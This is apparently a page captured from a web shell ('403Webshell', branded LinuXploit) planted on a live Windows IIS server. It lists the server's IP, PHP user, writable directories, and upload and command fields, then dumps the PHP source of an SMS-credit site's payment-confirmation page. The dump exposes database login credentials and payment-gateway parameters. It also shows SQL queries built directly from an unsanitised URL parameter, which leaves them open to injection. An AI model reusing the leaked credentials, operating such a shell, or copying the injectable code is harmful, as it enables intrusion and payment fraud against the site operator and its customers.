403Webshell
Server IP : 209.209.40.120  /  Your IP : 216.73.217.112
Web Server : Microsoft-IIS/10.0
System : Windows NT NEWWWW 10.0 build 17763 (Windows Server 2019) i586
User : NEWWWW$ ( 0)
PHP Version : 8.3.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /HostingSpaces/admin/sms4real.com/wwwroot/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /HostingSpaces/admin/sms4real.com/wwwroot/payconfirmed.php
<?php 
include "general2.php";
include "connect.php";
include 'sendmailclient.php';

function RandomString($length) {
        $original_string = array_merge(range(0,9));
        $original_string = implode("", $original_string);
        return substr(str_shuffle($original_string), 0, $length);
}


$res = $_SESSION['paymentchannel'] ;

if ($res == "")
   {
     header('Location:  onlinepayment.php?err=1');
     die();
   }

date_default_timezone_set('Africa/Lagos');
$opt = $_SESSION['startpay'];
if ($opt =="")
{
header('Location: globalpay.php?err=1');
  die();
}




error_reporting (E_ALL ^ E_DEPRECATED);
    ini_set ('soap.wsdl_cache_enabled', 0);
    include('lib/nusoap.php');
    
    $client = new nusoap_client('https://www.globalpay.com.ng/globalpaywebservice/service.asmx?wsdl', true);
    
	//echo $client;
	
    $soapaction = "https://www.eazypaynigeria.com/globalpay/getTransactions";
    $namespace = "https://www.eazypaynigeria.com/globalpay/";
    $client->soap_defencoding = 'UTF-8';
  	
  	$txnref = $_GET["txnref"];
  	//$status = $_GET["status"];
    $merch_txnref=$txnref; 
    $channel="" ; 
    //change the merchantid to the one sent to you
    $merchantID="186"; 
    $start_date=""; 
    $end_date=""; 
    //change the uid and pwd to the one sent to you
    $uid="sa_ws_user"; 
    $pwd="sa_ws_password"; 
    $payment_status="" ; 
    
    $err = $client->getError();
   // echo $err;
    if ($err) {
        echo '<h2>Constructor error</h2><pre>' . $err . '</pre>';
        return $err;
    }
    // Doc/lit parameters get wrapped
    $MethodToCall= "getTransactions";
    //$MethodToCall= "Checkcenter";
    
    $param = array(
        'merch_txnref' => $merch_txnref, 
        'channel' => $channel,
        'merchantID' => $merchantID,
        'start_date' => $start_date,
        'end_date' => $end_date,
        'uid' => $uid,
        'pwd' => $pwd,
        'payment_status' => $payment_status
    );

    $result = $client->call(
        'getTransactions', 
        array('parameters' => $param), 
        'http://www.eazypaynigeria.com/globalpay_demo/', 
        'http://www.eazypaynigeria.com/globalpay_demo/getTransactions', 
        false,  
        true
    );
  
  
		
    // Check for a fault
    if ($client->fault) {
        echo '<h2>Fault</h2><pre>';
        print_r($result);
        echo '</pre>';
        return $result;
    } 
    else {
    // Check for errors
    $err = $client->getError();
        if ($err) {
            // Display the error
            echo '<h2>Error</h2><pre>' . $err . '</pre>';
            return $err;
        } 
        else {
            //This gives getTransactionsResult
            $WebResult=$MethodToCall."Result";
            // Pass the result into XML
            $xml = simplexml_load_string($result[$WebResult]);
            
           // echo $xml;
            //$currency= "NGN";
            $amount = $xml->record->amount;
            $txn_date = $xml->record->payment_date;
            $pmt_method = $xml->record->channel;
            $pmt_status = $xml->record->payment_status;
            $pmt_txnref = $xml->record->txnref;
			//$currency = $xml->record->currency;
			//$currency = $xml->record->field_values->field[1]->currency;
            $currency = $xml->record->field_values->field_values->field[2]->currency;
           // $pnr = 'PNR';
            $trans_status = $xml->record->payment_status_description;
            }

	  	  //Get information from your database
	  	 $merch_amt = $_SESSION['amtcharged'];
	  	 $merch_name = $_SESSION['username'] ;
	  	 $merch_phoneno  =$_SESSION['phone'];
         $amtvend= $_SESSION['amtreqted'];
         //Format and display the necessary parameters including the one above
          //echo "Name : ". $merch_name  ."<br>";
	      //echo "Phone number : ".$merch_phoneno ."<br>";
	     

		  
		  
		  
         if ($pmt_status == 'successful')
         {
         	if ($amount == $merch_amt)
         	{           
			      $cnt1 = "0";
			    //payment is successful
         	}
         	else
         	{
			      $cnt1 = "1";
         		 //amount does not match
         	}
         	
         }       
         else
         {
         	   if ($pmt_status == 'pending')
         	   {
			      //payment is pending
				  $cnt1 = "1";
         	   }
         	   else
         	   {
	         	  //payment is other state
				   $cnt1 = "1";
			   }
         		
         }
            
	 
		  //store in database
		  
		  $con=mysqli_connect("127.0.0.1","smsEngine","guEnaR28T","smartsmsrouter");
 // Check connection
 if (mysqli_connect_errno())
   {
    
	exit();
   }
   $txn2_date = date_create($txn_date);
   $txn2_date=date_format($txn2_date,'Y-m-d H:i:s');
  
 $query ="update paymentlogs set status='1',payment_date='".$txn2_date."',air_status='0',pmt_method ='". $pmt_method ."',trans_status ='". $trans_status ."',currency='". $currency."',pmt_status='".$pmt_status . "',pmt_txnref='".$pmt_txnref."' where transid ='". $txnref ."'";
 
//echo $query;
//exit();

if(!$result= mysqli_query($con,$query))
{
  //echo mysqli_error($con);
  
   mysqli_close($con);
//    return -2;
	exit();
}

}

?>

<!DOCTYPE html>
<head>
  <meta charset="utf-8">
  <!--[if IE]><meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"><![endif]-->
    <title>.::.sms4real.com, Bulksms Made Easy</title>
<meta name="keywords" content="sms, ems, bulk sms, massive sms,sms messenging,sms,bulk,cheap sms, low price sms,sms gateway,sms provider,sms nigeria,cheap sms, low pri sms, global sms, wide coverage sms, all countries sms, smpp, sms gateway" />
<meta name="description" content="sms messenging,sms,bulk,cheap sms, bulksms,low price sms,sms gateway,sms provider,sms nigeria, tone, tones, massive sms, smpp, smpp provider, bulksms, bulksms provider" />

<script language="JavaScript" src="count.js"></script>

  <meta name="viewport" content="width=device-width">        
  <link rel="stylesheet" href="css/templatemo_main.css">
</head>
<body>
  <div class="navbar navbar-inverse" role="navigation">
      <div class="navbar-header">
        <div class="logo"><h1>sms4real.com<span>Welcome <?php $username=$_SESSION['username'];
	    //$username=getUsername("nosaosahon",'247sms.com');
	    echo $username."&nbsp;&nbsp;";
	     
	
	?>Credit:  <?php 
	     
	    $bal=getBalance($username,$domain);
	    echo $bal."&nbsp;&nbsp;";
	
	
	?></span></h1></div>
        <button type="button" class="navbar-toggle" data-toggle="collapse" data-target=".navbar-collapse">
          <span class="sr-only">Toggle navigation</span>
          <span class="icon-bar"></span>
          <span class="icon-bar"></span>
          <span class="icon-bar"></span>
        </button> 
      </div>   
    </div>
    <div class="template-page-wrapper">
      <div class="navbar-collapse collapse templatemo-sidebar">
        <ul class="templatemo-sidebar-menu">
          <li>
            <form class="navbar-form">
              <input type="text" class="form-control" id="templatemo_search_box" placeholder="Search...">
              <span class="btn btn-default">Go</span>
            </form>
          </li>
          <li class="active"><a href="dashboard.php"><i class="fa fa-home"></i>Dashboard</a></li>
          <li class="sub open"  >
            <a href="javascript:;">
              <i class="fa fa-database"></i> Send Message <div class="pull-right"><span class="caret"></span></div>
            </a>
            <ul class="templatemo-submenu">
              <li><a href="sendsms.php">Send Message</a></li>
              <li><a href="sendaddress.php">Send Message Address</a></li>
              <li><a href="sendaddressperson.php">Send Personalized Message</a></li>             
              <li><a href="addressbookupload.php">Create Addressbook</a></li>
			  <li><a href="addressbookuploadperson.php">Create Personalized Addressbook</a></li>
              <li><a href="manaddressbook.php">Manage Addressbook</a></li>
			  <li><a href="manschedule.php">Manage Schedule</a></li>
            </ul>
          </li>
		  </li>
		  <li><a href="onlinepayment.php"><i class="fa fa-bank"></i>Online Payment</a></li>
   <li><a href="onlinepayment.php"><i class="fa fa-bank"></i>Online Payment</a></li>
          <li><a href="messageawait.php"><i class="fa fa-cubes"></i>Messagelogs</a></li>
          <li><a href="accounthis.php"><i class="fa fa-archive"></i>Account History</a></li>

          <li><a href="paymenthis.php"><i class="fa fa-users"></i>Payment History</a></li>
          <li><a href="preferences.php"><i class="fa fa-cog"></i>Preferences</a></li>
          <li><a href="javascript:;" data-toggle="modal" data-target="#confirmModal"><i class="fa fa-sign-out"></i>Sign Out</a></li>

        </ul>
      </div><!--/.navbar-collapse -->

      <div class="templatemo-content-wrapper">
        <div class="templatemo-content">
          <ol class="breadcrumb">
            <li><a href="index.php">Home</a></li>
            <li><a href="dashboard.php">Dashboard</a></li>
            <li><a href="onlinepayment.php">Online Payment</a></li>
			<li><a href="pricing.php">Pricing & Coverage</a></li>
			<li><a href="tt.php">Trouble Ticket (TT)</a></li>
            <li><a href="javascript:;" data-toggle="modal" data-target="#confirmModal"></i>Sign Out</a></li>
          </ol>		  
		  <?php 
					 $errno = isset($_GET['err']) ? $_GET['err'] : '';
					  $cnt2 = isset($_GET['cnt2']) ? $_GET['cnt2'] : '';
					  if ($cnt2 =="")
					   {
					        
		 					 $_SESSION["sender"] ="";   
        					 $_SESSION["receiver"] ="";   
        					 $_SESSION["mess"] ="";   
					   }
					   
	                  if($errno ==='0')
	                     {
						 
						    $cnt = isset($_GET['cnt']) ? $_GET['cnt'] : '';
						     
	                       echo "<div class='alert alert-success alert-dismissible' role='alert'><button type='button' class='close' data-dismiss='alert'><span aria-hidden='true'>&times;</span><span class='sr-only'>Close</span></button>
                      <strong>Success!</strong> ". $cnt. " Message(s) sent.</div>";
	                     }
					   else
					    {
						   
						    if($errno ==='1')
	                         {
						     
	                             echo "<div class='alert alert-danger alert-dismissible' role='alert'>
                      <button type='button' class='close' data-dismiss='alert'><span aria-hidden='true'>&times;</span><span class='sr-only'>Close</span></button>Sorry, Complete the form below before sending message...</div>";
	                         }
						 
						 
						    if($errno ==='2')
	                         {
						     
	                             echo "<div class='alert alert-danger alert-dismissible' role='alert'>
                      <button type='button' class='close' data-dismiss='alert'><span aria-hidden='true'>&times;</span><span class='sr-only'>Close</span></button>Sorry, Sender field cannot be blank...</div>";
	                         }
							 
							 if($errno ==='3')
	                         {
						     
	                             echo "<div class='alert alert-danger alert-dismissible' role='alert'>
                      <button type='button' class='close' data-dismiss='alert'><span aria-hidden='true'>&times;</span><span class='sr-only'>Close</span></button>Sorry, Receiver field cannot be blank...</div>";
	                         }
							 
							 if($errno ==='4')
	                         {
						     
	                             echo "<div class='alert alert-danger alert-dismissible' role='alert'>
                      <button type='button' class='close' data-dismiss='alert'><span aria-hidden='true'>&times;</span><span class='sr-only'>Close</span></button>Sorry, Message field cannot be blank...</div>";
	                         }
							 
							 if($errno ==='5')
	                         {
						     
	                             echo "<div class='alert alert-danger alert-dismissible' role='alert'>
                      <button type='button' class='close' data-dismiss='alert'><span aria-hidden='true'>&times;</span><span class='sr-only'>Close</span></button>Sorry, Message field length cannot be more than 1500 characters...</div>";
	                         }
							 
						  
						   
						  
						}
						
						
			?>
            
          <h1>Payment Status</h1>
            <p class="margin-bottom-15">Below is the payment status</p>
          <div class="row">
            
			    
    <?php 
					 
					    if($cnt1 ==='0')
	                     {
                               $_SESSION['startpay']="";	 
	                       echo "<p class='bluewords'>Success: Payment is successful.Your account has been loaded with N".number_format($_SESSION['amount'],2)."</p>";
                                 echo "<form action='onlinepayment.php' method='post' name='regform'>
					    <fieldset>
						<div class='pure-control-group'>
					
					    <button type='submit' class='btn btn-primary'>Continue</button>
						</div>";
						 
						 
						 
						 
$clientusername =$_SESSION["username"]; 
$amt =$_SESSION["amount"]; 


//check if admin is authorized
date_default_timezone_set('Europe/London');
	$phonenumber = $_SESSION['phone'];
	$clientemail = $_SESSION['email'];




//get his smsprofile

$query ="select * from smsprofile where username='". $clientusername ."' and domain='".$domain."'";
//echo $query;
if(!$result= mysqli_query($con,$query))
{
  echo mysqli_error($con);
  echo "-2";
   mysqli_close($con);
   exit();
}

$cnt = mysqli_num_rows($result);

if ($cnt != 1)
{
  header('Location: adminlogged.php?err=5');
  exit();
}



while($row = mysqli_fetch_array($result))
{
	$subprofile = $row['subprofile'];
  
}





//get is old balance 
  $query ="select * from smsaccount where username='". $clientusername ."' and domain='".$domain."'";
//echo $query;
if(!$result= mysqli_query($con,$query))
{
  echo mysqli_error($con);
  echo "-2";
   mysqli_close($con);
   exit();
}

//$cnt = 1000;

while($row = mysqli_fetch_array($result))
{
    if ($subprofile == '1')
	{
	   $oldbal = $row['balnaira'];
	}
	
	if ($subprofile == '2')
	{
	   $oldbal = $row['baleuro'];
	}
	
	if ($subprofile == '3')
	{
	   $oldbal = $row['baldollar'];
	}
}


$newbal = $oldbal + $amt;
//echo $oldbal."<br>";
//echo $amt ."<br>";
//echo $newbal ."<br>";

//exit();
//$username=$_SESSION['username'];
if ($subprofile == '1')
 {
 $query ="update smsaccount set balnaira='". $newbal. "',dateused='".date('Y-m-d H:i:s')."' where username='". $clientusername ."' and domain='".$domain."'";
 }
 
 
 if ($subprofile == '2')
 {
 $query ="update smsaccount set baleuro='". $newbal. "',dateused='".date('Y-m-d H:i:s')."' where username='". $clientusername ."' and domain='".$domain."'";
 //echo $query;
 
 }
 
 
 if ($subprofile == '3')
 {
 $query ="update smsaccount set baldollar='". $newbal. "',dateused='".date('Y-m-d H:i:s')."' where username='". $clientusername ."' and domain='".$domain."'";
 }
 

if(!$result= mysqli_query($con,$query))
{
  echo mysqli_error($con);
  echo "-2";
   mysqli_close($con);
   exit();
}

$query ="INSERT INTO transferlogs (adminname, username,oldbal,amtcredited,newbal,datecredited,domain)  VALUES ('". $username ."','".  $clientusername  ."','". $oldbal ."','".$amt."','".$newbal."','". date('Y-m-d H:i:s')."','".$domain."')";

//echo $query;
//exit();
if(!$result= mysqli_query($con,$query))
{
  echo mysqli_error($con);
 // echo mysqli_error($con);
  echo "-3";
   mysqli_close($con);
   exit();
}

//echo "0";

$mysub = "Account Topup Report ".$domain ;
$myMessage ="Dear ". $clientusername. ",<br><br>";
$myMessage .= "Your ". $domain. " account has just be credited : <br><br>"; 
if ($subprofile =='1' ){
$myMessage .= "Amount Credited : N" . $amt . "<br>";
}

if ($subprofile =='2' ){
$myMessage .= "Amount Credited : &euro;" . $amt . "<br>";
}

if ($subprofile =='3' ){
$myMessage .= "Amount Credited : $" . $amt . "<br>";
}
$myMessage .= "Old Bal: " . $oldbal. "<br>";
$myMessage .= "New Bal: " . $newbal .  "<br><br>"; 
$myMessage .= "Thanks for doing business with us. " . "<br>";
$myMessage .= "Billing @ ".$domain;

$myMessage2 ="";
$myMessage2 = $myMessage;
$mymail = sendmailtoclient($clientemail,$myMessage,$myMessage2,$mysub,$mfrom,$mfromname);

$email1 = getAdminEmail($domain,"email1");
$email2 = getAdminEmail($domain,"email2");

if ($email1 !="")
$mymail = sendmailtoclient($email1,$myMessage,$myMessage2 ,$mysub,$mfrom,$mfromname);

if ($email2 !="")
$mymail = sendmailtoclient($email2,$myMessage,$myMessage2 ,$mysub,$mfrom,$mfromname);

//send sms

//$transid =  generateTransID();
//$transid =  $transid ."1";
 $transid =  RandomString(9);
   $mtype ="1";
   $mess= "Dear ".  $clientusername ."\n". "Account Topup Report" ."\n". "Old Balance " .number_format($oldbal,2,'.',','). "\n" . "Amount Credited " .number_format($amt,2,'.',',')."\n". "New Balance ". number_format($newbal,2,'.',',') . "\n" . "Thanks from sales@".$domain;  
   //$phonenumber = getPhonenumber($username,$domain);
$ct = sendSMS( $username,$phonenumber, $transid, $domain,$mess,$sender,$mtype);

$phone1 = getAdminEmail($domain,"phonenumber1");
$phone2 = getAdminEmail($domain,"phonenumber2");

//$transid =  generateTransID();
//$transid =  $transid ."2";
 $transid =  RandomString(9);
if ($phone1 !="")
$ct = sendSMS( $username,$phone1, $transid, $domain,$mess,$sender,$mtype);

//$transid =  generateTransID();

//$transid =  $transid ."3";
 $transid =  RandomString(9);
if ($phone2 !="")
$ct = sendSMS( $username,$phone2, $transid, $domain,$mess,$sender,$mtype);

mysqli_close($con);

  
						   
						   
	                     }//end of successful payment
						 
	                  if($cnt1 ==='1')
	                     {
	                       echo "<p class='redwords'>Sorry, Your Payment was not successful. Please try again.</p>";
                                   echo "<form action='onlinepayment.php' method='post' name='regform'>
					    <fieldset>
						<div class='pure-control-group'>
					
					    <button type='submit' class='btn btn-primary'>Continue</button>
						</div>";
                             
	                     }
					   
				$_SESSION['startpay']="";	 	
						 
			 ?>

			
			
			
         </div><!-- end of row -->
      </div>
    </div>
      <!-- Modal -->
      <div class="modal fade" id="confirmModal" tabindex="-1" role="dialog" aria-labelledby="myModalLabel" aria-hidden="true">
        <div class="modal-dialog">
          <div class="modal-content">
            <div class="modal-header">
              <button type="button" class="close" data-dismiss="modal"><span aria-hidden="true">&times;</span><span class="sr-only">Close</span></button>
              <h4 class="modal-title" id="myModalLabel">Are you sure you want to sign out?</h4>
            </div>
            <div class="modal-footer">
              <a href="processlogout.php?res=yes" class="btn btn-primary">Yes</a>
              <button type="button" class="btn btn-default" data-dismiss="modal">No</button>
            </div>
          </div>
        </div>
      </div>
      <footer class="templatemo-footer">
        <div class="templatemo-copyright">
          <p>Flex Global Concepts Company</p>
        </div>
      </footer>
    </div>

    <script src="js/jquery.min.js"></script>
    <script src="js/bootstrap.min.js"></script>
    <script src="js/Chart.min.js"></script>
    <script src="js/templatemo_script.js"></script>
    <script type="text/javascript">
    // Line chart
    var randomScalingFactor = function(){ return Math.round(Math.random()*100)};
    var lineChartData = {
      labels : ["January","February","March","April","May","June","July"],
      datasets : [
      {
        label: "My First dataset",
        fillColor : "rgba(220,220,220,0.2)",
        strokeColor : "rgba(220,220,220,1)",
        pointColor : "rgba(220,220,220,1)",
        pointStrokeColor : "#fff",
        pointHighlightFill : "#fff",
        pointHighlightStroke : "rgba(220,220,220,1)",
        data : [randomScalingFactor(),randomScalingFactor(),randomScalingFactor(),randomScalingFactor(),randomScalingFactor(),randomScalingFactor(),randomScalingFactor()]
      },
      {
        label: "My Second dataset",
        fillColor : "rgba(151,187,205,0.2)",
        strokeColor : "rgba(151,187,205,1)",
        pointColor : "rgba(151,187,205,1)",
        pointStrokeColor : "#fff",
        pointHighlightFill : "#fff",
        pointHighlightStroke : "rgba(151,187,205,1)",
        data : [randomScalingFactor(),randomScalingFactor(),randomScalingFactor(),randomScalingFactor(),randomScalingFactor(),randomScalingFactor(),randomScalingFactor()]
      }
      ]

    }

    window.onload = function(){
      var ctx_line = document.getElementById("templatemo-line-chart").getContext("2d");
      window.myLine = new Chart(ctx_line).Line(lineChartData, {
        responsive: true
      });
    };

    $('#myTab a').click(function (e) {
      e.preventDefault();
      $(this).tab('show');
    });

    $('#loading-example-btn').click(function () {
      var btn = $(this);
      btn.button('loading');
      // $.ajax(...).always(function () {
      //   btn.button('reset');
      // });
  });
  </script>
<!--Start of Tawk.to Script-->
<script type="text/javascript">
var Tawk_API=Tawk_API||{}, Tawk_LoadStart=new Date();
(function(){
var s1=document.createElement("script"),s0=document.getElementsByTagName("script")[0];
s1.async=true;
s1.src='https://embed.tawk.to/574b6eab1be2250b3bd28655/default';
s1.charset='UTF-8';
s1.setAttribute('crossorigin','*');
s0.parentNode.insertBefore(s1,s0);
})();
</script>
<!--End of Tawk.to Script-->
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit